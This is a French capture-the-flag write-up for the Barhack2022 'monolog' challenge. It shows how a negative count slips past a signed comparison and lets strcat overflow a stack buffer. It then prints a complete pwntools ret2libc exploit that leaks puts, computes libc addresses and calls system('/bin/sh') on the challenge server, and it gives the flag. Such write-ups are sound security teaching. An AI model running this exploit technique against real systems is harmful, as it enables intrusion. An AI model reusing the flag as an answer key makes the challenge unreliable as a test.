[Barhack2022][Write Up – Reverse] Monolog
Le challenge
Voici le write up du challenge de reverse monolog de la Barhack2022.
On nous a passé un exécutable linux 32 bits, ainsi qu’une IP et un port sur lequel ce dernier tourne. Une libc nous est aussi passée (libc-2.31.so).
Lorsque l’on s’y connecte, il nous demande un nombre pour savoir combien d’entrées utilisateur prendre, puis l’écrit.
Premiers pas
La fonction main lance directement la fonction monolog:
On remarque par ailleurs l’utilisation de strcat qui est connue pour permettre des buffer overflow:
Reverse
Dans la fonction monolog, le programme va demander un nombre, et le comparer à 10. Si le nombre est supérieur, il s’arrête.
Ensuite, il va demander un bloc de 100 caractères et le concaténer à un buffer à ebp-0x3f4 tant qu’un compteur interne n’atteint pas la valeur indiquée au dessus:
Si la ligne stop est envoyée, le programme quitte la boucle, affiche la chaine qui a été concaténée (ebp-0x3f4) et s’arrête:
Exploitation
Dans la comparaison si dessus, on remarque qu’il y a la comparaison entre 10 et le nombre que l’on rentre. Cependant, il n’y a pas vérification sur le signe lors de la comparaison: Si le nombre est négatif (par exemple, -1), il va passer le test d’infériorité et on pourra envoyer 4294967295 blocs de taille 100 et donc overflow avec le strcat.
En terme de protection, il y a
- ASLR
- Partial RELRO
- Pas de canary
- NX
- No PIE
Pour exploiter le code, on va envoyer -1 pour passer la comparaison, et réécrire l’adresse de retour, puis envoyer une ROP. Il faudra envoyer 1016 éléments dans le buffer (0x3f4 + 4 pour réecrire l’adresse de retour qui est juste après ebp dans la pile).
Ici, j’ai choisi de leak une adresse de la libc, et d’appeler system(‘/bin/sh’).
Voici le code d’exploitation:
from pwn import * r = remote('monolog.brb',1302) r.recvline() puts = 0x08049090 //adresse de puts pour afficher les adresses main = 0x080491d2 //adresse de retour reloc_puts = 0x0804c024 //adresse de puts dans la GOT r.sendline(b'-1') //Pour passer la comparaison la comparaison r.recvline() offset = 1016 //0x3f4 + 4 = 1016 for i in range(offset//0x64): r.send(b'A'*0x64) //Remplissage du buffer r.recvline() //Leak d'une fonction de la libc pour retirer l'aslr payload = p32(puts)+p32(main)+p32(reloc_puts) //puts(reloc_puts), main() r.sendline(b'A'*(offset%0x64)+payload) r.sendline(b'stop') leaked_puts = int.from_bytes(r.recvrepeat(0.1).split(b'\n\n')[2][:4], 'little') //Récupération de l'adresse de puts dans la libc libc_puts = 0x00070460 //adresse de puts dans la libc libc_system = 0x00045040 //adresse de system dans la libc libc_bin_sh = 0x0018c338 //adresse de /bin/sh dans la libc libc_start = leaked_puts-libc_puts //Calcul de l'adresse de début de la libc r.sendline(b'-1') //Pour passer la comparaison la comparaison r.recvline() offset = 1016 for i in range(offset//0x64): r.send(b'A'*0x64) r.recvline() //Ret2libc payload = p32(libc_start+libc_system)+p32(main)+p32(libc_start+libc_bin_sh) //system('/bin/sh'), main() r.sendline(b'A'*(offset%0x64)+payload) r.sendline(b'stop') r.interactive()
On obtient alors un shell.
En local:
Flag
brb{b3_c4r3ful_w17h_516n3d_1n7}